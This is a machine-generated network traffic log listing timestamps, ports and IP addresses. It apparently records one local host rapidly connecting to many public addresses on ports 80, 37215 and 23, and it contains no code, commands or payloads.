Dec 3, 2024 22:11:51.268106937 CET	37215	42012	156.239.228.206	192.168.2.23
Dec 3, 2024 22:11:51.268115997 CET	80	34322	192.122.106.149	192.168.2.23
Dec 3, 2024 22:11:51.279659033 CET	80	42260	156.240.241.216	192.168.2.23
Dec 3, 2024 22:11:51.283632994 CET	80	45902	84.71.252.104	192.168.2.23
Dec 3, 2024 22:11:51.346645117 CET	37215	46262	156.22.51.217	192.168.2.23
Dec 3, 2024 22:11:51.346679926 CET	80	57482	44.96.228.159	192.168.2.23
Dec 3, 2024 22:11:51.346817017 CET	37215	46460	156.22.51.217	192.168.2.23
Dec 3, 2024 22:11:51.346820116 CET	57482	80	192.168.2.23	44.96.228.159
Dec 3, 2024 22:11:51.346915960 CET	46460	37215	192.168.2.23	156.22.51.217
Dec 3, 2024 22:11:51.347120047 CET	37215	58630	197.25.239.17	192.168.2.23
Dec 3, 2024 22:11:51.347165108 CET	58630	37215	192.168.2.23	197.25.239.17
Dec 3, 2024 22:11:51.347328901 CET	80	37824	62.248.199.225	192.168.2.23
Dec 3, 2024 22:11:51.347347975 CET	46460	37215	192.168.2.23	156.22.51.217
Dec 3, 2024 22:11:51.349898100 CET	37824	80	192.168.2.23	62.248.199.225
Dec 3, 2024 22:11:51.352705002 CET	80	60026	112.155.127.190	192.168.2.23
Dec 3, 2024 22:11:51.352958918 CET	80	60050	112.155.127.190	192.168.2.23
Dec 3, 2024 22:11:51.353013992 CET	60050	80	192.168.2.23	112.155.127.190
Dec 3, 2024 22:11:51.353168964 CET	60050	80	192.168.2.23	112.155.127.190
Dec 3, 2024 22:11:51.353353977 CET	80	54008	209.250.24.111	192.168.2.23
Dec 3, 2024 22:11:51.354337931 CET	80	57274	178.58.251.176	192.168.2.23
Dec 3, 2024 22:11:51.354350090 CET	80	57298	178.58.251.176	192.168.2.23
Dec 3, 2024 22:11:51.354391098 CET	57298	80	192.168.2.23	178.58.251.176
Dec 3, 2024 22:11:51.354458094 CET	57298	80	192.168.2.23	178.58.251.176
Dec 3, 2024 22:11:51.354990959 CET	80	42100	170.223.253.82	192.168.2.23
Dec 3, 2024 22:11:51.355133057 CET	80	42124	170.223.253.82	192.168.2.23
Dec 3, 2024 22:11:51.355143070 CET	80	54032	209.250.24.111	192.168.2.23
Dec 3, 2024 22:11:51.355184078 CET	42124	80	192.168.2.23	170.223.253.82
Dec 3, 2024 22:11:51.355328083 CET	54032	80	192.168.2.23	209.250.24.111
Dec 3, 2024 22:11:51.355361938 CET	42124	80	192.168.2.23	170.223.253.82
Dec 3, 2024 22:11:51.355369091 CET	54032	80	192.168.2.23	209.250.24.111
Dec 3, 2024 22:11:51.355741024 CET	80	33442	31.114.90.41	192.168.2.23
Dec 3, 2024 22:11:51.355792046 CET	33442	80	192.168.2.23	31.114.90.41
Dec 3, 2024 22:11:51.355814934 CET	33442	80	192.168.2.23	31.114.90.41
Dec 3, 2024 22:11:51.356838942 CET	80	33418	31.114.90.41	192.168.2.23
Dec 3, 2024 22:11:51.361502886 CET	80	46032	84.71.252.104	192.168.2.23
Dec 3, 2024 22:11:51.361562014 CET	46032	80	192.168.2.23	84.71.252.104
Dec 3, 2024 22:11:51.375513077 CET	23	57294	85.64.94.45	192.168.2.23
Dec 3, 2024 22:11:51.375809908 CET	23	57674	85.64.94.45	192.168.2.23
Dec 3, 2024 22:11:51.375893116 CET	57674	23	192.168.2.23	85.64.94.45
Dec 3, 2024 22:11:51.387731075 CET	37215	46262	156.22.51.217	192.168.2.23
Dec 3, 2024 22:11:51.395699024 CET	80	42100	170.223.253.82	192.168.2.23
Dec 3, 2024 22:11:51.395714998 CET	80	57274	178.58.251.176	192.168.2.23
Dec 3, 2024 22:11:51.395787954 CET	80	54008	209.250.24.111	192.168.2.23
Dec 3, 2024 22:11:51.395803928 CET	80	60026	112.155.127.190	192.168.2.23
Dec 3, 2024 22:11:51.403651953 CET	80	33418	31.114.90.41	192.168.2.23
Dec 3, 2024 22:11:51.468400955 CET	37215	46460	156.22.51.217	192.168.2.23
Dec 3, 2024 22:11:51.468513966 CET	46460	37215	192.168.2.23	156.22.51.217
Dec 3, 2024 22:11:51.473278999 CET	80	60050	112.155.127.190	192.168.2.23
Dec 3, 2024 22:11:51.473392010 CET	60050	80	192.168.2.23	112.155.127.190
Dec 3, 2024 22:11:51.474597931 CET	80	57298	178.58.251.176	192.168.2.23
Dec 3, 2024 22:11:51.474659920 CET	57298	80	192.168.2.23	178.58.251.176
Dec 3, 2024 22:11:51.475433111 CET	80	42124	170.223.253.82	192.168.2.23
Dec 3, 2024 22:11:51.475492954 CET	42124	80	192.168.2.23	170.223.253.82
Dec 3, 2024 22:11:51.475536108 CET	80	54032	209.250.24.111	192.168.2.23
Dec 3, 2024 22:11:51.475586891 CET	54032	80	192.168.2.23	209.250.24.111
Dec 3, 2024 22:11:51.476953030 CET	80	33442	31.114.90.41	192.168.2.23
Dec 3, 2024 22:11:51.477042913 CET	33442	80	192.168.2.23	31.114.90.41
Dec 3, 2024 22:11:52.014851093 CET	43872	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:52.014854908 CET	50420	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:52.014857054 CET	51646	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:52.014858961 CET	38430	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:52.014862061 CET	40474	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:52.014857054 CET	50590	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:52.014867067 CET	46190	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:52.014868021 CET	44490	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:52.014867067 CET	47744	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:52.014862061 CET	39822	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:52.014868975 CET	36338	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:52.014868021 CET	34864	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:52.014862061 CET	39326	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:52.014868975 CET	51898	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:52.014862061 CET	56704	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:52.014868021 CET	60982	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:52.014868975 CET	44292	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:52.014893055 CET	56078	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:52.014893055 CET	34830	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:52.014894962 CET	34300	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:52.014902115 CET	39220	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:52.014902115 CET	40970	80	192.168.2.23	134.42.74.112
Dec 3, 2024 22:11:52.014909983 CET	38518	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:52.014918089 CET	34518	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:52.014923096 CET	40004	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.014926910 CET	45478	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:52.014933109 CET	59370	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:52.014933109 CET	45656	80	192.168.2.23	140.76.241.6
Dec 3, 2024 22:11:52.014933109 CET	60942	80	192.168.2.23	132.243.143.161
Dec 3, 2024 22:11:52.014935970 CET	39504	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.014944077 CET	36618	80	192.168.2.23	159.47.73.163
Dec 3, 2024 22:11:52.014945030 CET	57902	80	192.168.2.23	190.176.20.128
Dec 3, 2024 22:11:52.014952898 CET	34546	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:52.014952898 CET	42658	80	192.168.2.23	72.98.186.118
Dec 3, 2024 22:11:52.014956951 CET	58042	80	192.168.2.23	220.107.18.26
Dec 3, 2024 22:11:52.014960051 CET	39860	80	192.168.2.23	179.41.60.148
Dec 3, 2024 22:11:52.014971972 CET	37528	80	192.168.2.23	155.120.96.18
Dec 3, 2024 22:11:52.014972925 CET	45776	80	192.168.2.23	201.42.80.185
Dec 3, 2024 22:11:52.014972925 CET	38094	80	192.168.2.23	77.145.142.253
Dec 3, 2024 22:11:52.014972925 CET	58750	80	192.168.2.23	203.199.224.170
Dec 3, 2024 22:11:52.014986992 CET	45088	80	192.168.2.23	89.77.49.90
Dec 3, 2024 22:11:52.014991045 CET	37986	80	192.168.2.23	133.83.247.90
Dec 3, 2024 22:11:52.014991999 CET	60986	80	192.168.2.23	97.146.133.90
Dec 3, 2024 22:11:52.014991999 CET	38726	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:52.015003920 CET	34368	80	192.168.2.23	123.63.252.212
Dec 3, 2024 22:11:52.015006065 CET	33462	80	192.168.2.23	151.235.178.124
Dec 3, 2024 22:11:52.015017986 CET	53426	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:52.015017986 CET	36674	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:52.043060064 CET	80	41454	13.227.133.150	192.168.2.23
Dec 3, 2024 22:11:52.043183088 CET	41454	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:52.044352055 CET	80	43764	185.248.148.162	192.168.2.23
Dec 3, 2024 22:11:52.044404984 CET	43764	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:52.046781063 CET	42524	37215	192.168.2.23	156.239.228.206
Dec 3, 2024 22:11:52.046781063 CET	48372	80	192.168.2.23	113.202.243.27
Dec 3, 2024 22:11:52.046782017 CET	56590	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:52.046799898 CET	55886	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:52.046799898 CET	56114	80	192.168.2.23	182.114.118.150
Dec 3, 2024 22:11:52.046799898 CET	58022	80	192.168.2.23	68.131.78.173
Dec 3, 2024 22:11:52.046802044 CET	51792	80	192.168.2.23	57.234.210.229
Dec 3, 2024 22:11:52.046812057 CET	49466	80	192.168.2.23	52.233.176.82
Dec 3, 2024 22:11:52.046813965 CET	47330	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:52.046813965 CET	48920	80	192.168.2.23	152.61.133.39
Dec 3, 2024 22:11:52.046818972 CET	33704	80	192.168.2.23	46.218.150.180
Dec 3, 2024 22:11:52.046830893 CET	37352	80	192.168.2.23	151.234.254.75
Dec 3, 2024 22:11:52.046833992 CET	37010	80	192.168.2.23	59.234.43.201
Dec 3, 2024 22:11:52.046837091 CET	41756	80	192.168.2.23	13.209.9.211
Dec 3, 2024 22:11:52.046839952 CET	51036	80	192.168.2.23	195.46.36.83
Dec 3, 2024 22:11:52.046843052 CET	58680	80	192.168.2.23	69.165.68.106
Dec 3, 2024 22:11:52.046849966 CET	58086	80	192.168.2.23	172.13.154.229
Dec 3, 2024 22:11:52.046858072 CET	45152	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:52.046864986 CET	51328	80	192.168.2.23	69.224.65.58
Dec 3, 2024 22:11:52.046864986 CET	58266	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:52.046868086 CET	33388	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:52.046868086 CET	45884	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:52.046880960 CET	47628	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:52.046881914 CET	41986	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:52.046881914 CET	42296	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:52.046892881 CET	34860	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:52.136272907 CET	80	43872	168.141.43.142	192.168.2.23
Dec 3, 2024 22:11:52.136312962 CET	80	38430	42.54.179.203	192.168.2.23
Dec 3, 2024 22:11:52.136323929 CET	80	50420	178.168.125.118	192.168.2.23
Dec 3, 2024 22:11:52.136332989 CET	80	56078	51.132.116.166	192.168.2.23
Dec 3, 2024 22:11:52.136343002 CET	80	34300	89.237.234.81	192.168.2.23
Dec 3, 2024 22:11:52.136353970 CET	80	46190	175.207.62.8	192.168.2.23
Dec 3, 2024 22:11:52.136365891 CET	80	51646	157.10.232.130	192.168.2.23
Dec 3, 2024 22:11:52.136375904 CET	80	40474	220.40.166.42	192.168.2.23
Dec 3, 2024 22:11:52.136419058 CET	80	39220	90.128.45.194	192.168.2.23
Dec 3, 2024 22:11:52.136430979 CET	80	50590	189.113.25.114	192.168.2.23
Dec 3, 2024 22:11:52.136441946 CET	80	34830	67.109.205.61	192.168.2.23
Dec 3, 2024 22:11:52.136444092 CET	43872	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:52.136446953 CET	38430	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:52.136450052 CET	80	39822	222.183.121.253	192.168.2.23
Dec 3, 2024 22:11:52.136460066 CET	80	47744	165.71.235.9	192.168.2.23
Dec 3, 2024 22:11:52.136457920 CET	46190	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:52.136465073 CET	56078	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:52.136466026 CET	34300	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:52.136465073 CET	50420	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:52.136468887 CET	80	38518	205.91.17.173	192.168.2.23
Dec 3, 2024 22:11:52.136477947 CET	80	39326	52.200.155.160	192.168.2.23
Dec 3, 2024 22:11:52.136486053 CET	51646	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:52.136486053 CET	50590	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:52.136496067 CET	39220	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:52.136498928 CET	80	34864	204.35.166.113	192.168.2.23
Dec 3, 2024 22:11:52.136501074 CET	34830	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:52.136502028 CET	40474	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:52.136502028 CET	39822	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:52.136511087 CET	80	56704	114.255.133.213	192.168.2.23
Dec 3, 2024 22:11:52.136519909 CET	80	44490	120.47.138.87	192.168.2.23
Dec 3, 2024 22:11:52.136523008 CET	38518	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:52.136526108 CET	47744	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:52.136526108 CET	34864	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:52.136528969 CET	80	60982	177.109.45.183	192.168.2.23
Dec 3, 2024 22:11:52.136538029 CET	80	34518	121.123.242.60	192.168.2.23
Dec 3, 2024 22:11:52.136542082 CET	39326	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:52.136542082 CET	56704	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:52.136547089 CET	80	40004	98.103.8.79	192.168.2.23
Dec 3, 2024 22:11:52.136555910 CET	60982	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:52.136564970 CET	80	36338	100.44.128.127	192.168.2.23
Dec 3, 2024 22:11:52.136573076 CET	44490	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:52.136574984 CET	80	45478	112.94.207.133	192.168.2.23
Dec 3, 2024 22:11:52.136578083 CET	34518	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:52.136583090 CET	40004	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.136588097 CET	80	51898	25.56.170.39	192.168.2.23
Dec 3, 2024 22:11:52.136599064 CET	80	44292	185.248.148.162	192.168.2.23
Dec 3, 2024 22:11:52.136610985 CET	80	40970	134.42.74.112	192.168.2.23
Dec 3, 2024 22:11:52.136616945 CET	45478	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:52.136617899 CET	36338	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:52.136617899 CET	51898	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:52.136629105 CET	80	39504	35.37.81.75	192.168.2.23
Dec 3, 2024 22:11:52.136646032 CET	44292	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:52.136651039 CET	40970	80	192.168.2.23	134.42.74.112
Dec 3, 2024 22:11:52.136658907 CET	39504	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.136724949 CET	34300	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:52.136756897 CET	47744	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:52.136756897 CET	34864	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:52.136770010 CET	39822	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:52.136770964 CET	43872	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:52.136780024 CET	34830	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:52.136780024 CET	56078	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:52.136801958 CET	50590	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:52.136811018 CET	39220	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:52.136815071 CET	51646	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:52.136818886 CET	46190	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:52.136837959 CET	38430	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:52.136851072 CET	56704	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:52.136851072 CET	39326	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:52.136856079 CET	60982	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:52.136887074 CET	50420	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:52.136920929 CET	40474	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:52.136920929 CET	6883	80	192.168.2.23	179.139.164.55
Dec 3, 2024 22:11:52.136934996 CET	6883	80	192.168.2.23	65.236.202.115
Dec 3, 2024 22:11:52.136938095 CET	44490	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:52.136939049 CET	6883	80	192.168.2.23	24.30.197.102
Dec 3, 2024 22:11:52.136941910 CET	6883	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:52.136965990 CET	6883	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:52.136965990 CET	6883	80	192.168.2.23	123.143.40.243
Dec 3, 2024 22:11:52.136966944 CET	6883	80	192.168.2.23	96.188.193.232
Dec 3, 2024 22:11:52.136966944 CET	6883	80	192.168.2.23	4.207.41.110
Dec 3, 2024 22:11:52.136966944 CET	6883	80	192.168.2.23	93.254.60.25
Dec 3, 2024 22:11:52.136976004 CET	6883	80	192.168.2.23	212.19.103.155
Dec 3, 2024 22:11:52.136979103 CET	6883	80	192.168.2.23	188.25.84.70
Dec 3, 2024 22:11:52.136992931 CET	6883	80	192.168.2.23	13.196.196.235
Dec 3, 2024 22:11:52.136993885 CET	6883	80	192.168.2.23	96.223.198.226
Dec 3, 2024 22:11:52.136997938 CET	6883	80	192.168.2.23	116.106.246.147
Dec 3, 2024 22:11:52.137010098 CET	6883	80	192.168.2.23	92.13.254.172
Dec 3, 2024 22:11:52.137021065 CET	6883	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:52.137028933 CET	6883	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:52.137034893 CET	6883	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:52.137034893 CET	6883	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:52.137044907 CET	6883	80	192.168.2.23	8.199.248.154
Dec 3, 2024 22:11:52.137044907 CET	80	59370	133.23.65.66	192.168.2.23
Dec 3, 2024 22:11:52.137049913 CET	6883	80	192.168.2.23	119.83.245.172
Dec 3, 2024 22:11:52.137051105 CET	6883	80	192.168.2.23	36.119.240.107
Dec 3, 2024 22:11:52.137056112 CET	80	45656	140.76.241.6	192.168.2.23
Dec 3, 2024 22:11:52.137059927 CET	6883	80	192.168.2.23	92.106.54.77
Dec 3, 2024 22:11:52.137068987 CET	6883	80	192.168.2.23	206.27.216.25
Dec 3, 2024 22:11:52.137073994 CET	6883	80	192.168.2.23	184.161.181.193
Dec 3, 2024 22:11:52.137077093 CET	6883	80	192.168.2.23	39.229.252.255
Dec 3, 2024 22:11:52.137090921 CET	80	60942	132.243.143.161	192.168.2.23
Dec 3, 2024 22:11:52.137099028 CET	59370	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:52.137099028 CET	45656	80	192.168.2.23	140.76.241.6
Dec 3, 2024 22:11:52.137108088 CET	6883	80	192.168.2.23	68.152.75.66
Dec 3, 2024 22:11:52.137128115 CET	60942	80	192.168.2.23	132.243.143.161
Dec 3, 2024 22:11:52.137128115 CET	6883	80	192.168.2.23	129.254.0.180
Dec 3, 2024 22:11:52.137130976 CET	6883	80	192.168.2.23	164.62.215.73
Dec 3, 2024 22:11:52.137137890 CET	6883	80	192.168.2.23	103.143.105.107
Dec 3, 2024 22:11:52.137137890 CET	6883	80	192.168.2.23	181.184.112.119
Dec 3, 2024 22:11:52.137149096 CET	6883	80	192.168.2.23	48.215.143.252
Dec 3, 2024 22:11:52.137157917 CET	6883	80	192.168.2.23	74.239.238.147
Dec 3, 2024 22:11:52.137157917 CET	6883	80	192.168.2.23	62.122.12.248
Dec 3, 2024 22:11:52.137161016 CET	6883	80	192.168.2.23	80.41.94.157
Dec 3, 2024 22:11:52.137161016 CET	6883	80	192.168.2.23	150.243.198.55
Dec 3, 2024 22:11:52.137166977 CET	6883	80	192.168.2.23	69.222.29.191
Dec 3, 2024 22:11:52.137170076 CET	6883	80	192.168.2.23	54.66.194.22
Dec 3, 2024 22:11:52.137187004 CET	80	36618	159.47.73.163	192.168.2.23
Dec 3, 2024 22:11:52.137187958 CET	6883	80	192.168.2.23	189.46.38.71
Dec 3, 2024 22:11:52.137187958 CET	6883	80	192.168.2.23	91.113.155.184
Dec 3, 2024 22:11:52.137190104 CET	6883	80	192.168.2.23	106.147.180.194
Dec 3, 2024 22:11:52.137197018 CET	80	57902	190.176.20.128	192.168.2.23
Dec 3, 2024 22:11:52.137206078 CET	80	58042	220.107.18.26	192.168.2.23
Dec 3, 2024 22:11:52.137207031 CET	6883	80	192.168.2.23	130.177.97.231
Dec 3, 2024 22:11:52.137208939 CET	6883	80	192.168.2.23	135.69.56.96
Dec 3, 2024 22:11:52.137209892 CET	6883	80	192.168.2.23	130.204.223.249
Dec 3, 2024 22:11:52.137216091 CET	80	39860	179.41.60.148	192.168.2.23
Dec 3, 2024 22:11:52.137217045 CET	6883	80	192.168.2.23	205.135.154.232
Dec 3, 2024 22:11:52.137217999 CET	6883	80	192.168.2.23	62.237.203.234
Dec 3, 2024 22:11:52.137222052 CET	6883	80	192.168.2.23	66.214.24.15
Dec 3, 2024 22:11:52.137228966 CET	36618	80	192.168.2.23	159.47.73.163
Dec 3, 2024 22:11:52.137228966 CET	80	37528	155.120.96.18	192.168.2.23
Dec 3, 2024 22:11:52.137237072 CET	57902	80	192.168.2.23	190.176.20.128
Dec 3, 2024 22:11:52.137243986 CET	58042	80	192.168.2.23	220.107.18.26
Dec 3, 2024 22:11:52.137248039 CET	39860	80	192.168.2.23	179.41.60.148
Dec 3, 2024 22:11:52.137250900 CET	80	34546	121.127.51.127	192.168.2.23
Dec 3, 2024 22:11:52.137260914 CET	80	42658	72.98.186.118	192.168.2.23
Dec 3, 2024 22:11:52.137269974 CET	80	45776	201.42.80.185	192.168.2.23
Dec 3, 2024 22:11:52.137276888 CET	37528	80	192.168.2.23	155.120.96.18
Dec 3, 2024 22:11:52.137295961 CET	6883	80	192.168.2.23	179.127.188.210
Dec 3, 2024 22:11:52.137295008 CET	34546	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:52.137299061 CET	6883	80	192.168.2.23	198.174.60.108
Dec 3, 2024 22:11:52.137295961 CET	6883	80	192.168.2.23	114.64.150.14
Dec 3, 2024 22:11:52.137295008 CET	42658	80	192.168.2.23	72.98.186.118
Dec 3, 2024 22:11:52.137300968 CET	45776	80	192.168.2.23	201.42.80.185
Dec 3, 2024 22:11:52.137310982 CET	6883	80	192.168.2.23	200.230.70.87
Dec 3, 2024 22:11:52.137312889 CET	6883	80	192.168.2.23	44.173.213.25
Dec 3, 2024 22:11:52.137324095 CET	6883	80	192.168.2.23	20.169.69.173
Dec 3, 2024 22:11:52.137331009 CET	6883	80	192.168.2.23	222.199.171.220
Dec 3, 2024 22:11:52.137337923 CET	6883	80	192.168.2.23	53.74.35.58
Dec 3, 2024 22:11:52.137346983 CET	6883	80	192.168.2.23	80.175.76.195
Dec 3, 2024 22:11:52.137346983 CET	6883	80	192.168.2.23	79.148.85.43
Dec 3, 2024 22:11:52.137367964 CET	6883	80	192.168.2.23	185.59.144.105
Dec 3, 2024 22:11:52.137375116 CET	80	38094	77.145.142.253	192.168.2.23
Dec 3, 2024 22:11:52.137379885 CET	6883	80	192.168.2.23	123.158.29.15
Dec 3, 2024 22:11:52.137379885 CET	6883	80	192.168.2.23	86.35.105.105
Dec 3, 2024 22:11:52.137379885 CET	6883	80	192.168.2.23	149.13.130.158
Dec 3, 2024 22:11:52.137379885 CET	6883	80	192.168.2.23	38.112.106.99
Dec 3, 2024 22:11:52.137383938 CET	6883	80	192.168.2.23	157.67.148.2
Dec 3, 2024 22:11:52.137383938 CET	6883	80	192.168.2.23	217.123.155.155
Dec 3, 2024 22:11:52.137383938 CET	6883	80	192.168.2.23	110.27.106.239
Dec 3, 2024 22:11:52.137383938 CET	6883	80	192.168.2.23	137.146.223.135
Dec 3, 2024 22:11:52.137383938 CET	6883	80	192.168.2.23	173.95.39.119
Dec 3, 2024 22:11:52.137383938 CET	6883	80	192.168.2.23	218.227.112.253
Dec 3, 2024 22:11:52.137386084 CET	80	58750	203.199.224.170	192.168.2.23
Dec 3, 2024 22:11:52.137383938 CET	6883	80	192.168.2.23	63.206.4.52
Dec 3, 2024 22:11:52.137389898 CET	6883	80	192.168.2.23	80.171.113.222
Dec 3, 2024 22:11:52.137391090 CET	6883	80	192.168.2.23	110.94.109.223
Dec 3, 2024 22:11:52.137393951 CET	6883	80	192.168.2.23	27.72.72.203
Dec 3, 2024 22:11:52.137393951 CET	80	45088	89.77.49.90	192.168.2.23
Dec 3, 2024 22:11:52.137394905 CET	6883	80	192.168.2.23	53.232.217.203
Dec 3, 2024 22:11:52.137397051 CET	6883	80	192.168.2.23	18.118.71.90
Dec 3, 2024 22:11:52.137404919 CET	80	37986	133.83.247.90	192.168.2.23
Dec 3, 2024 22:11:52.137413979 CET	80	60986	97.146.133.90	192.168.2.23
Dec 3, 2024 22:11:52.137414932 CET	6883	80	192.168.2.23	168.73.35.192
Dec 3, 2024 22:11:52.137423992 CET	38094	80	192.168.2.23	77.145.142.253
Dec 3, 2024 22:11:52.137423992 CET	58750	80	192.168.2.23	203.199.224.170
Dec 3, 2024 22:11:52.137434006 CET	80	38726	175.229.50.139	192.168.2.23
Dec 3, 2024 22:11:52.137438059 CET	6883	80	192.168.2.23	96.189.218.214
Dec 3, 2024 22:11:52.137439013 CET	6883	80	192.168.2.23	219.206.161.69
Dec 3, 2024 22:11:52.137439966 CET	45088	80	192.168.2.23	89.77.49.90
Dec 3, 2024 22:11:52.137443066 CET	80	34368	123.63.252.212	192.168.2.23
Dec 3, 2024 22:11:52.137445927 CET	37986	80	192.168.2.23	133.83.247.90
Dec 3, 2024 22:11:52.137451887 CET	80	33462	151.235.178.124	192.168.2.23
Dec 3, 2024 22:11:52.137459993 CET	6883	80	192.168.2.23	94.246.38.52
Dec 3, 2024 22:11:52.137460947 CET	60986	80	192.168.2.23	97.146.133.90
Dec 3, 2024 22:11:52.137460947 CET	38726	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:52.137460947 CET	80	53426	166.46.184.48	192.168.2.23
Dec 3, 2024 22:11:52.137486935 CET	6883	80	192.168.2.23	211.156.154.224
Dec 3, 2024 22:11:52.137490988 CET	6883	80	192.168.2.23	166.13.167.142
Dec 3, 2024 22:11:52.137491941 CET	33462	80	192.168.2.23	151.235.178.124
Dec 3, 2024 22:11:52.137494087 CET	34368	80	192.168.2.23	123.63.252.212
Dec 3, 2024 22:11:52.137499094 CET	6883	80	192.168.2.23	45.122.218.77
Dec 3, 2024 22:11:52.137499094 CET	6883	80	192.168.2.23	117.2.23.119
Dec 3, 2024 22:11:52.137499094 CET	6883	80	192.168.2.23	50.101.205.254
Dec 3, 2024 22:11:52.137510061 CET	6883	80	192.168.2.23	197.196.46.250
Dec 3, 2024 22:11:52.137511015 CET	6883	80	192.168.2.23	129.59.66.231
Dec 3, 2024 22:11:52.137511015 CET	6883	80	192.168.2.23	47.5.238.95
Dec 3, 2024 22:11:52.137512922 CET	6883	80	192.168.2.23	70.180.239.104
Dec 3, 2024 22:11:52.137514114 CET	6883	80	192.168.2.23	104.179.78.200
Dec 3, 2024 22:11:52.137514114 CET	6883	80	192.168.2.23	170.82.16.191
Dec 3, 2024 22:11:52.137522936 CET	53426	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:52.137523890 CET	6883	80	192.168.2.23	73.141.115.147
Dec 3, 2024 22:11:52.137523890 CET	6883	80	192.168.2.23	79.81.171.209
Dec 3, 2024 22:11:52.137531996 CET	6883	80	192.168.2.23	87.12.116.116
Dec 3, 2024 22:11:52.137536049 CET	6883	80	192.168.2.23	35.59.232.2
